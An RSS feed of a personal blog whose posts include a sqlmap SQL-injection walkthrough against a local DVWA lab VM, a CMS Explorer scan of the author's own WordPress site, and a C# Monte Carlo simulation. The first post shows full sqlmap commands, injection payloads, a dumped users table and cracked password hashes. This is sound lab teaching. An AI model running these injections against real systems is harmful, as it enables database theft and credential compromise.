<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>eric.ness.net</title>
	<atom:link href="http://eric.ness.net/feed/" rel="self" type="application/rss+xml" />
	<link>http://eric.ness.net</link>
	<description>...I never learned to read.</description>
	<lastBuildDate>Sat, 21 Jan 2012 05:27:48 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Sql Injection Testing With SqlMap</title>
		<link>http://eric.ness.net/archives/sql-injection-testing-with-sqlmap/</link>
		<comments>http://eric.ness.net/archives/sql-injection-testing-with-sqlmap/#comments</comments>
		<pubDate>Sat, 13 Aug 2011 04:00:40 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Back Track]]></category>

		<guid isPermaLink="false">http://eric.ness.net/?p=641</guid>
		<description><![CDATA[This is a brief overview of how to test for sql injections using sqlmap.]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fsql-injection-testing-with-sqlmap%2F' data-shr_title='Sql+Injection+Testing+With+SqlMap'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fsql-injection-testing-with-sqlmap%2F' data-shr_title='Sql+Injection+Testing+With+SqlMap'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetTop Automatic --><p><img class="alignnone size-full wp-image-649" title="sqlmap" src="http://eric.ness.net/wp-content/uploads/2011/08/sqlmap.jpg" alt="" width="577" height="360" /></p>
<div style="padding: 5px; border: 1px solid #dddddd; color: #1f1f1f; margin-bottom: 10px; background: none repeat scroll 0% 0% #f8e3e0;"><strong></strong><strong>Disclaimer:</strong> This is for educational purposes only in the hopes you will use it to secure your own site and code. I take no responsibility for any malicious use of the following technology or approach. In short don&#8217;t be dumb.</div>
<p>Often one thinks that Sql Injection is just used to inject code in to a database however, sql injection can also be used to enumerate through a whole host of commands that can sometimes lead to complete control of the entire server. Here we are going to simply show you how to list all the databases in the server, get the tables and data.</p>
<p>This is a brief overview of how to test for sql injections using <a title="sqlmap" href="http://sqlmap.sourceforge.net/">sqlmap</a>. For this we are going to attack a <a title="Damn Vulnerable Web Application" href="http://www.dvwa.co.uk/">Damn Vulnerable Web Application</a> Virtual Machine and <a title="Back Track Linux" href="http://www.backtrack-linux.org/">Back Track</a>. Once the virtual machine is up and running login in the site (in this example the ip is 192.168.0.103), and set the security to low.</p>
<p>Navigate to http://192.168.0.103/vulnerabilities/sqli/ and enter a value in to the text box. Open a shell and and navigate to /pentest/database/sqlmap. You will also need a program to get cookie and session info like the <a title="Tamper Data Firefox plugin" href="https://addons.mozilla.org/en-US/firefox/addon/tamper-data/">Tamper Data</a> plugin for firefox.</p>
<h2>Get A List Of All The Databases In The Database.</h2>
<p>To build the string to run the command you&#8217;ll need the following things.</p>
<ol>
<li><strong>URL</strong>: http://192.168.0.103/vulnerabilities/sqli/?id=2&amp;Submit=Submit#</li>
<li><strong>Cookie</strong>: PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low</li>
<li><strong>Column Name</strong>: Surname</li>
</ol>
<p>You&#8217;ll notice that once you&#8217;ve enter a value in to the text box of sqli page it returns some data where some of the text that is commonly returned would be Surname.</p>
<p>Run the following command: &#8220;<strong><em>./sqlmap.py -u &#8216;http://192.168.0.103/vulnerabilities/sqli/?id=2&amp;Submit=Submit#&#8217; &#8211;cookies=&#8221;PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low&#8221; &#8211;string=&#8221;Surname&#8221; &#8211;dbs</em></strong>&#8220;.</p>
<pre class="brush: jscript; title: ; notranslate">
root@bt:/pentest/database/sqlmap# ./sqlmap.py -u 'http://192.168.0.103/vulnerabilities/sqli/?id=2&amp;Submit=Submit#' --cookie=&quot;PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low&quot; --string=&quot;Surname&quot; --dbs

sqlmap/1.0-dev (r4009) - automatic SQL injection and database takeover tool

http://sqlmap.sourceforge.net

[!] Legal Disclaimer: usage of sqlmap for attacking web servers without prior mutual consent can be considered as an illegal activity. it is the final user's responsibility to obey all applicable local, state and federal laws. authors

assume no liability and are not responsible for any misuse or damage caused by this program.

[*] starting at: 21:53:39

[21:53:39] [INFO] using '/pentest/database/sqlmap/output/192.168.0.103/session' as session file
[21:53:39] [INFO] resuming injection data from session file
[21:53:39] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
[21:53:39] [INFO] testing connection to the target url
[21:53:39] [INFO] testing if the provided string is within the target URL page content
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=2' AND 7500=7500 AND 'ibOx'='ibOx&amp;Submit=Submit

Type: error-based
Title: MySQL &gt;= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=2' AND (SELECT 271 FROM(SELECT COUNT(*),CONCAT(CHAR(58,122,111,97,58),(SELECT (CASE WHEN (271=271) THEN 1 ELSE 0 END)),CHAR(58,103,98,116,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND

'VtPs'='VtPs&amp;Submit=Submit

Type: UNION query
Title: MySQL UNION query (NULL) - 1 to 10 columns
Payload: id=2' UNION ALL SELECT CONCAT(CHAR(58,122,111,97,58),IFNULL(CAST(CHAR(102,99,66,86,83,69,118,82,78,117) AS CHAR),CHAR(32)),CHAR(58,103,98,116,58)), NULL# AND 'lDYv'='lDYv&amp;Submit=Submit

Type: AND/OR time-based blind
Title: MySQL &gt; 5.0.11 AND time-based blind
Payload: id=2' AND SLEEP(5) AND 'mMol'='mMol&amp;Submit=Submit
---

[21:53:39] [INFO] manual usage of GET payloads requires url encoding
[21:53:39] [INFO] the back-end DBMS is MySQL

web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS: MySQL 5.0
[21:53:39] [INFO] fetching database names
[21:53:39] [INFO] read from file '/pentest/database/sqlmap/output/192.168.0.103/session': information_schema, cdcol, dvwa, mysql, phpmyadmin, test
available databases [6]:
[*] cdcol
[*] dvwa
[*] information_schema
[*] mysql
[*] phpmyadmin
[*] test

[21:53:39] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/192.168.0.103'

[*] shutting down at: 21:53:39
</pre>
<p>Here are the results:</p>
<pre>available databases [6]:
[*] cdcol
[*] dvwa
[*] information_schema
[*] mysql
[*] phpmyadmin
[*] test</pre>
<p>The one we are interested in is dvwa.</p>
<h2>To List The Tables Of A Single Database.</h2>
<p>One we have our list of databases we keep the url and cookie session data but we add some of the following fields.</p>
<ol>
<li><strong>Select Database:</strong> -D dvwa</li>
<li><strong>Get Tables:</strong> &#8211;tables</li>
</ol>
<p>Run the following command: &#8220;<strong><em>./sqlmap.py -u &#8216;http://192.168.0.103/vulnerabilities/sqli/?id=2&amp;Submit=Submit#&#8217; &#8211;cookie=&#8221;PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low&#8221; -D dvwa &#8211;tables</em></strong>&#8221;</p>
<pre class="brush: jscript; title: ; notranslate">
root@bt:/pentest/database/sqlmap# ./sqlmap.py -u 'http://192.168.0.103/vulnerabilities/sqli/?id=2&amp;Submit=Submit#' --cookie=&quot;PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low&quot; -D dvwa --tables

sqlmap/1.0-dev (r4009) - automatic SQL injection and database takeover tool

http://sqlmap.sourceforge.net

[!] Legal Disclaimer: usage of sqlmap for attacking web servers without prior mutual consent can be considered as an illegal activity. it is the final user's responsibility to obey all applicable local, state and federal laws. authors

assume no liability and are not responsible for any misuse or damage caused by this program.

[*] starting at: 21:54:05

[21:54:05] [INFO] using '/pentest/database/sqlmap/output/192.168.0.103/session' as session file
[21:54:05] [INFO] resuming injection data from session file
[21:54:05] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
[21:54:05] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=2' AND 7500=7500 AND 'ibOx'='ibOx&amp;Submit=Submit

Type: error-based
Title: MySQL &gt;= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=2' AND (SELECT 271 FROM(SELECT COUNT(*),CONCAT(CHAR(58,122,111,97,58),(SELECT (CASE WHEN (271=271) THEN 1 ELSE 0 END)),CHAR(58,103,98,116,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND

'VtPs'='VtPs&amp;Submit=Submit

Type: UNION query
Title: MySQL UNION query (NULL) - 1 to 10 columns
Payload: id=2' UNION ALL SELECT CONCAT(CHAR(58,122,111,97,58),IFNULL(CAST(CHAR(102,99,66,86,83,69,118,82,78,117) AS CHAR),CHAR(32)),CHAR(58,103,98,116,58)), NULL# AND 'lDYv'='lDYv&amp;Submit=Submit

Type: AND/OR time-based blind
Title: MySQL &gt; 5.0.11 AND time-based blind
Payload: id=2' AND SLEEP(5) AND 'mMol'='mMol&amp;Submit=Submit
---

[21:54:05] [INFO] manual usage of GET payloads requires url encoding
[21:54:05] [INFO] the back-end DBMS is MySQL

web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS: MySQL 5.0
[21:54:05] [INFO] fetching tables for database: dvwa
[21:54:05] [INFO] read from file '/pentest/database/sqlmap/output/192.168.0.103/session': dvwa, guestbook, dvwa, users
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users     |
+-----------+

[21:54:05] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/192.168.0.103'

[*] shutting down at: 21:54:05
</pre>
<p>Here are the tables from the dvwa database:</p>
<pre>[2 tables]
+-----------+
| guestbook |
| users     |
+-----------+</pre>
<h2>Get Data From A Table</h2>
<p>To get the data and columns of a table you need the following items &#8211; in this example we are going to get the table from the <em>users</em> table.</p>
<ol>
<li><strong>Select Database:</strong> -D dvwa</li>
<li><strong>Get Tables:</strong> &#8211;tables</li>
<li><strong>Select Table:</strong> -T users &#8211;dump</li>
</ol>
<p>Run the following command: &#8220;<strong><em>./sqlmap.py -u &#8216;http://192.168.0.103/vulnerabilities/sqli/?id=2&amp;Submit=Submit#&#8217; &#8211;cookie=&#8221;PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low&#8221; -D dvwa -T users &#8211;dump</em></strong>&#8220;.</p>
<pre class="brush: jscript; title: ; notranslate">
root@bt:/pentest/database/sqlmap# ./sqlmap.py -u 'http://192.168.0.103/vulnerabilities/sqli/?id=2&amp;Submit=Submit#' --cookie=&quot;PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low&quot; -D dvwa -T users --dump

sqlmap/1.0-dev (r4009) - automatic SQL injection and database takeover tool

http://sqlmap.sourceforge.net

[!] Legal Disclaimer: usage of sqlmap for attacking web servers without prior mutual consent can be considered as an illegal activity. it is the final user's responsibility to obey all applicable local, state and federal laws. authors

assume no liability and are not responsible for any misuse or damage caused by this program.

[*] starting at: 21:54:26

[21:54:26] [INFO] using '/pentest/database/sqlmap/output/192.168.0.103/session' as session file
[21:54:26] [INFO] resuming injection data from session file
[21:54:26] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
[21:54:26] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=2' AND 7500=7500 AND 'ibOx'='ibOx&amp;Submit=Submit

Type: error-based
Title: MySQL &gt;= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=2' AND (SELECT 271 FROM(SELECT COUNT(*),CONCAT(CHAR(58,122,111,97,58),(SELECT (CASE WHEN (271=271) THEN 1 ELSE 0 END)),CHAR(58,103,98,116,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND

'VtPs'='VtPs&amp;Submit=Submit

Type: UNION query
Title: MySQL UNION query (NULL) - 1 to 10 columns
Payload: id=2' UNION ALL SELECT CONCAT(CHAR(58,122,111,97,58),IFNULL(CAST(CHAR(102,99,66,86,83,69,118,82,78,117) AS CHAR),CHAR(32)),CHAR(58,103,98,116,58)), NULL# AND 'lDYv'='lDYv&amp;Submit=Submit

Type: AND/OR time-based blind
Title: MySQL &gt; 5.0.11 AND time-based blind
Payload: id=2' AND SLEEP(5) AND 'mMol'='mMol&amp;Submit=Submit
---

[21:54:26] [INFO] manual usage of GET payloads requires url encoding
[21:54:26] [INFO] the back-end DBMS is MySQL

web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS: MySQL 5.0
[21:54:26] [INFO] fetching columns for table 'users' on database 'dvwa'
[21:54:26] [INFO] read from file '/pentest/database/sqlmap/output/192.168.0.103/session': user_id, int(6), first_name, varchar(15), last_name, varchar(15), user, varchar(15), password, varchar(32), avatar, varchar(70)
[21:54:26] [INFO] fetching entries for table 'users' on database 'dvwa'
recognized possible password hash values. do you want to use dictionary attack on retrieved table items? [Y/n/q] Y
[21:54:28] [INFO] using hash method: 'md5_generic_passwd'
what's the dictionary's location? [/pentest/database/sqlmap/txt/wordlist.txt]
[21:54:29] [INFO] loading dictionary from: '/pentest/database/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] y
[21:54:32] [INFO] starting dictionary attack (md5_generic_passwd)
[21:54:32] [INFO] found: 'abc123' for user: 'gordonb'
[21:54:32] [INFO] found: 'charley' for user: '1337'
[21:54:33] [INFO] found: 'letmein' for user: 'pablo'
[21:54:33] [INFO] found: 'password' for user: 'admin'
Database: dvwa
Table: users
[5 entries]
+---------------------------------+------------+-----------+---------------------------------------------+---------+---------+
| avatar                          | first_name | last_name | password                                    | user    | user_id |
+---------------------------------+------------+-----------+---------------------------------------------+---------+---------+
| dvwa/hackable/users/smithy.jpg  | Bob        | Smith     | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | smithy  | 5       |
| dvwa/hackable/users/admin.jpg   | admin      | admin     | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin   | 1       |
| dvwa/hackable/users/gordonb.jpg | Gordon     | Brown     | e99a18c428cb38d5f260853678922e03 (abc123)   | gordonb | 2       |
| dvwa/hackable/users/pablo.jpg   | Pablo      | Picasso   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | pablo   | 4       |
| dvwa/hackable/users/1337.jpg    | Hack       | Me        | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | 1337    | 3       |
+---------------------------------+------------+-----------+---------------------------------------------+---------+---------+

[21:55:10] [INFO] Table 'dvwa.users' dumped to CSV file '/pentest/database/sqlmap/output/192.168.0.103/dump/dvwa/users.csv'
[21:55:10] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/192.168.0.103'

[*] shutting down at: 21:55:10

root@bt:/pentest/database/sqlmap#
</pre>
<h2>Results</h2>
<p>And as you can see when you use the accompanying dictionary in Back Track you sometimes break the password hash as an added bonus.</p>
<pre>+---------------------------------+------------+-----------+---------------------------------------------+---------+---------+
| avatar                          | first_name | last_name | password                                    | user    | user_id |
+---------------------------------+------------+-----------+---------------------------------------------+---------+---------+
| dvwa/hackable/users/smithy.jpg  | Bob        | Smith     | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | smithy  | 5       |
| dvwa/hackable/users/admin.jpg   | admin      | admin     | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin   | 1       |
| dvwa/hackable/users/gordonb.jpg | Gordon     | Brown     | e99a18c428cb38d5f260853678922e03 (abc123)   | gordonb | 2       |
| dvwa/hackable/users/pablo.jpg   | Pablo      | Picasso   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | pablo   | 4       |
| dvwa/hackable/users/1337.jpg    | Hack       | Me        | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | 1337    | 3       |
+---------------------------------+------------+-----------+---------------------------------------------+---------+---------+</pre>
<div class="shr-publisher-641"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://eric.ness.net/archives/sql-injection-testing-with-sqlmap/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CMS Explorer In Back Track</title>
		<link>http://eric.ness.net/archives/cms-explorer-in-back-track/</link>
		<comments>http://eric.ness.net/archives/cms-explorer-in-back-track/#comments</comments>
		<pubDate>Fri, 12 Aug 2011 04:00:39 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Back Track]]></category>

		<guid isPermaLink="false">http://eric.ness.net/?p=616</guid>
		<description><![CDATA[A quick run through CMS Explorer in exposing vulnerabilities of CMS.]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fcms-explorer-in-back-track%2F' data-shr_title='CMS+Explorer+In+Back+Track'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fcms-explorer-in-back-track%2F' data-shr_title='CMS+Explorer+In+Back+Track'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetTop Automatic --><p><img class="alignnone size-full wp-image-630" title="cms_explorer" src="http://eric.ness.net/wp-content/uploads/2011/08/cms_explorer.jpg" alt="" width="577" height="360" /></p>
<div style="padding: 5px; border: 1px solid #ddd; color: #1f1f1f; margin-bottom: 10px; background: #F8E3E0;"><strong>Disclaimer:</strong> This is for educational purposes only in the hopes you will use it to secure your own site and code. I take no responsibility for any malicious use of the following technology or approach. In short don&#8217;t be dumb.</div>
<p>So I am studying for the <a title="OSCP" href="http://www.offensive-security.com/online-information-security-training/penetration-testing-backtrack/">OSCP (Offensive Security Certified Professional)</a> certification and I&#8217;ve been playing around with some of the more obscure items in the <a title="Back Track Linux" href="http://www.backtrack-linux.org/">Back Track Linux Distribution</a>. One such item is <a title="CMS Explorer" href="http://code.google.com/p/cms-explorer/">CMS Explorer</a> that enumerates through content management systems plug-ins and themes to look for vulnerabilities in the Drupal, WordPress, Joomla!, Mambo CMS.</p>
<p>The <a title="CMS-Eplorer Usage" href="http://code.google.com/p/cms-explorer/wiki/Usage">syntax</a> is fairly straightforward and the results are fairly accurate. The cool thing is that it can tie in to the OSVDB database but you need to do two things to make it work properly.</p>
<ol>
<li>Sign up for a <a title="API Account" href="http://osvdb.org/api/about">OSVDB api account</a>.</li>
<li>Navigate to the /pentest/enumeration/web/cms-explorer directory and create a blank file called osvdb.key</li>
<li>In that file place your api key.</li>
<li>Run it! ./cms-explorer.pl -url http://eric.ness.net -type wordpress -osvdb</li>
</ol>
<p>Here are the results for my blog. As you can see this site is fairly light and all the vulnerabilities according to OSVDB are &#8220;unknown impact and attack vectors &#8221; or listed as &#8220;flagged as being a Myth/Fake&#8221;.</p>
<ol>
<li><a title="http://osvdb.org/37290" href="http://osvdb.org/37290">http://osvdb.org/37290</a></li>
<li><a title="http://osvdb.org/62683" href="http://osvdb.org/62683">http://osvdb.org/62683</a></li>
<li><a href="http://osvdb.org/56762">http://osvdb.org/56762</a></li>
</ol>
<p>Only downside for this enumeration is that it is fairly slow and can take up to an hour or more to run.</p>
<pre class="brush: jscript; title: ; notranslate">
root@bt:/pentest/enumeration/web/cms-explorer# ./cms-explorer.pl -url http://eric.ness.net -type wordpress -osvdb

*******************************************************
Beginning run against http://eric.ness.net/...
Testing themes from wp_themes.txt...
Theme Installed:		wp-content/themes/monochrome/
Testing plugins...
Plugin Installed:		wp-content/plugins/akismet/
Plugin Installed:		wp-content/plugins/all-in-one-seo-pack/
Plugin Installed:		wp-content/plugins/codesnippet-20/
Plugin Installed:		wp-content/plugins/contact-form-7/
Plugin Installed:		wp-content/plugins/sexybookmarks/
Plugin Installed:		wp-content/plugins/syntaxhighlighter/
Plugin Installed:		wp-content/plugins/tweet-blender/
Plugin Installed:		wp-content/plugins/wp-cache/
Plugin Installed:		wp-content/plugins/wp-pagenavi/

*******************************************************
Summary:
Theme Installed:		wp-content/themes/monochrome/
	URL			http://eric.ness.net/wp-content/themes/monochrome/
	SVN			http://themes.svn.wordpress.org/wp-content/themes/monochrome/
Plugin Installed:		wp-content/plugins/akismet/
	URL			http://eric.ness.net/wp-content/plugins/akismet/
	SVN			http://svn.wp-plugins.org/wp-content/plugins/akismet/trunk/
	http://osvdb.org/37290	Akismet for WordPress akismet.php Unspecified Issue
	http://osvdb.org/62683	WordPress wp-content/plugins/akismet/akismet.php add_action() Function Path Disclosure
Plugin Installed:		wp-content/plugins/all-in-one-seo-pack/
	URL			http://eric.ness.net/wp-content/plugins/all-in-one-seo-pack/
	SVN			http://svn.wp-plugins.org/wp-content/plugins/all-in-one-seo-pack/trunk/
Plugin Installed:		wp-content/plugins/codesnippet-20/
	URL			http://eric.ness.net/wp-content/plugins/codesnippet-20/
	SVN			http://svn.wp-plugins.org/wp-content/plugins/codesnippet-20/trunk/
Plugin Installed:		wp-content/plugins/contact-form-7/
	URL			http://eric.ness.net/wp-content/plugins/contact-form-7/
	SVN			http://svn.wp-plugins.org/wp-content/plugins/contact-form-7/trunk/
Plugin Installed:		wp-content/plugins/sexybookmarks/
	URL			http://eric.ness.net/wp-content/plugins/sexybookmarks/
	SVN			http://svn.wp-plugins.org/wp-content/plugins/sexybookmarks/trunk/
Plugin Installed:		wp-content/plugins/syntaxhighlighter/
	URL			http://eric.ness.net/wp-content/plugins/syntaxhighlighter/
	SVN			http://svn.wp-plugins.org/wp-content/plugins/syntaxhighlighter/trunk/
Plugin Installed:		wp-content/plugins/tweet-blender/
	URL			http://eric.ness.net/wp-content/plugins/tweet-blender/
	SVN			http://svn.wp-plugins.org/wp-content/plugins/tweet-blender/trunk/
Plugin Installed:		wp-content/plugins/wp-cache/
	URL			http://eric.ness.net/wp-content/plugins/wp-cache/
	SVN			http://svn.wp-plugins.org/wp-content/plugins/wp-cache/trunk/
	http://osvdb.org/56762	WP Super Cache for WordPress wp-cache-phase1.php plugin Parameter Remote File Inclusion
Plugin Installed:		wp-content/plugins/wp-pagenavi/
	URL			http://eric.ness.net/wp-content/plugins/wp-pagenavi/
	SVN			http://svn.wp-plugins.org/wp-content/plugins/wp-pagenavi/trunk/
</pre>
<div class="shr-publisher-616"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://eric.ness.net/archives/cms-explorer-in-back-track/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Monte Carlo Simulations in C#</title>
		<link>http://eric.ness.net/archives/monte-carlo-simulations-in-c/</link>
		<comments>http://eric.ness.net/archives/monte-carlo-simulations-in-c/#comments</comments>
		<pubDate>Mon, 23 May 2011 20:04:58 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[Statistics]]></category>

		<guid isPermaLink="false">http://eric.ness.net/?p=493</guid>
		<description><![CDATA[Monte Carlo Simulations in C#]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fmonte-carlo-simulations-in-c%2F' data-shr_title='Monte+Carlo+Simulations+in+C%23'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fmonte-carlo-simulations-in-c%2F' data-shr_title='Monte+Carlo+Simulations+in+C%23'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetTop Automatic --><p><img class="alignnone size-full wp-image-603" title="mcs_in_csharp1" src="http://eric.ness.net/wp-content/uploads/2011/05/mcs_in_csharp1.jpg" alt="" width="577" height="360" /></p>
<p>Let me say I am a huge fan of <a href="http://en.wikipedia.org/wiki/Monte_Carlo_method">Monte Carlo Simulations</a>. For those of you who are not familiar with <a href="http://www.vertex42.com/ExcelArticles/mc/MonteCarloSimulation.html">Monte Carlo Simulations</a> – Monte Carlo Simulations use random numbers and a model to simulate an outcome or event but the real strength in Monte Carlo Simulations is that you repeat the simulation hundreds if not thousands of times. After running the simulation, the results as a whole give you some great insight in to possible outcomes you can expect. The results are often more robust and accurate than other methods like regressions.</p>
<p>For this tutorial, I am going to replicate the core functionality of this <a href="http://www.lumenaut.com/images/montecarlo/monte_carlo_results1.htm">report</a> from <a href="http://www.lumenaut.com/montecarlo.htm">Lumenaut</a>. The model itself has a couple of fixed costs: Labor, Price per Widget and Rent. The model also has two variable items: Variable Cost per Widget and Number of Widgets Sold. So just like in real life if I want to figure out how much profit I am going to make I need to subtract my total costs from my revenue.</p>
<p><a href="http://eric.ness.net/wp-content/uploads/2011/05/lumenaut-monte-model.png"><img class="aligncenter size-full wp-image-570" title="lumenaut monte model" src="http://eric.ness.net/wp-content/uploads/2011/05/lumenaut-monte-model.png" alt="" width="264" height="323" /></a></p>
<p>But, where we see the strength of a Monte Carlo Simulation is that it says let’s take a look at this model again but, maybe I can buy my widgets a little cheaper and maybe I can sell a couple more. In addition, every month is a little different some you sell a couple more some a couple of less.</p>
<p>To simulate this we need to use some random numbers but a normal random number generator will not work because that will give us a uniform distribution. Some random number for a Monte Carlo Simulation needs to have very specific distributions: normal, log, triangular, gamma, or something else to better simulate real life. The <a href="http://reactnet.sourceforge.net/">React.NET</a> library gives us a very easy simple way to simulate all of these very easily.</p>
<p>So for Lumenaut’s model we need two normal distribution random number generators and the profit model outlined in the excel table and following graph. Please note that the <strong>Cost Per Widget</strong> is 5 with a standard deviation of 0.5 and the <strong>Number of Widgets Sold</strong> is 2,000 with a standard deviation of 200.</p>
<p><a href="http://eric.ness.net/wp-content/uploads/2011/05/sim-results.png"><img class="aligncenter size-full wp-image-574" title="sim results" src="http://eric.ness.net/wp-content/uploads/2011/05/sim-results.png" alt="" width="577" height="316" /></a></p>
<p>Here is the code I use.</p>
<pre class="brush: jscript; title: ; notranslate">
using System.Collections.Generic;
using React.Distribution;

namespace MonteCarloSimulation.Models
{
    /// &lt;summary&gt;
    /// Monte Carlo Simulation
    /// &lt;/summary&gt;
    public class MonteCarloModel
    {
        private const double FixedCost = 170000;
        private const double FixedSellingPrice = 100;
        private readonly double _costPerWidget;
        private readonly double _costPerWidgetSd;
        private readonly double _numOfSimulations;
        private readonly double _numOfWidgetSd;
        private readonly double _numOfWidgets;
        public int NumberOfSimulations = 10000;
        public List&lt;double&gt; RESULTS = new List&lt;double&gt;();

        /// &lt;summary&gt;
        /// Initializes a new instance of the &lt;see cref=&quot;MonteCarloModel&quot;/&gt; class.
        /// &lt;/summary&gt;
        /// &lt;param name=&quot;costPerWidget&quot;&gt;The cost per widget.&lt;/param&gt;
        /// &lt;param name=&quot;costPerWidgetSd&quot;&gt;The cost per widget sd.&lt;/param&gt;
        /// &lt;param name=&quot;numOfWidgets&quot;&gt;The num of widgets.&lt;/param&gt;
        /// &lt;param name=&quot;numOfWidgetSd&quot;&gt;The num of widget sd.&lt;/param&gt;
        /// &lt;param name=&quot;numOfSimulations&quot;&gt;The num of simulations.&lt;/param&gt;
        public MonteCarloModel(double costPerWidget,
                               double costPerWidgetSd,
                               double numOfWidgets,
                               double numOfWidgetSd,
                               double numOfSimulations)
        {
            _costPerWidget = costPerWidget;
            _costPerWidgetSd = costPerWidgetSd;
            _numOfWidgets = numOfWidgets;
            _numOfWidgetSd = numOfWidgetSd;
            _numOfSimulations = numOfSimulations;
            Run();
        }

        /// &lt;summary&gt;
        /// Runs the Monte Carlo Simulation
        /// &lt;/summary&gt;
        private void Run()
        {
            // Set up our Normal distributions with the mean, and the Standard Deviation
            var costPerWidgetDist = new Normal(_costPerWidget, _costPerWidgetSd);
            var numberOfWidgetDist = new Normal(_numOfWidgets, _numOfWidgetSd);

            for (int i = 0; i &lt; _numOfSimulations; i++)
            {
                // Get the next ranom number for our model
                double costPerWidget = costPerWidgetDist.NextDouble();
                double numberOfWidgetsSold = numberOfWidgetDist.NextDouble();

                // Calculate the revenue
                double revenue = numberOfWidgetsSold*FixedSellingPrice;

                // Calculate the costs
                double cost = (costPerWidget*numberOfWidgetsSold + FixedCost);

                // Add result to our results list
                RESULTS.Add(revenue - cost);
            }
        }
    }
